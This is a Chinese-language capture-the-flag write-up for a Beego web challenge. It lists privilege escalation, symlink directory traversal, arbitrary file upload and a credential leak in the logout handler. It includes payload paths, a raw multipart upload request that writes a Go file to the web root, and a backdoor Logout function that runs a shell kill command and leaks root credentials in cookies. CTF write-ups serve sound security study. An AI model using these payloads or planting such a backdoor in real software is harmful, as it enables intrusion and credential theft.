b_beego

by HenceZhang@Lancet

后台越权

备注： 默认后台是可以打印flag的，所以一旦越权即可获取flag

漏洞文件位置： controllers/catalog_controller.go

payload: /me/article/add

符号链接实现目录跨越

漏洞文件位置：/static/uploads

漏洞说明： uploads -> ../../，可以利用这个特性进行目录跨越

payload： /static/uploads/gotsctf2018/flag

利用符号链接+文件上传执行命令

漏洞文件位置： /static/uploads

Payload:

后门程序**片段**（替换掉原先的logout函数）示例：

```
func (this *LoginController) Logout() {
    cmd :=exec.Command("/bin/sh","-c","killall -u tsctf")
    cmd.Run()
    this.Ctx.ResponseWriter.Header().Add("Set-Cookie",
"bb_name="+g.RootName+"; Max-Age=0; Path=/;")
    this.Ctx.ResponseWriter.Header().Add("Set-Cookie",
"bb_password="+g.RootPass+"; Max-Age=0; Path=/;")
    this.Redirect("/", 302)
}
```

文件上传payload：

```
POST /api/upload?savepath=/gotsctf2018 HTTP/1.1
Host: en:9090
Content-Length: 310
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://en:9090
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryB7kulmLb3BYI73va
Referer: http://en:9090/me/article/add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,pl;q=0.6
Cookie:
Connection: close

------WebKitFormBoundaryB7kulmLb3BYI73va
Content-Disposition: form-data; name="type"

image
------WebKitFormBoundaryB7kulmLb3BYI73va
Content-Disposition: form-data; name="image"; filename="test.go"
Content-Type: text/x-python-script

gogogo
------WebKitFormBoundaryB7kulmLb3BYI73va--
```

该上传payload会在web根目录下写入test.go

账号密码泄露

漏洞文件位置：controllers/login_controller.go

漏洞说明：在登出账号后，通过setcookie将g.RootName，g.RootPass泄露出来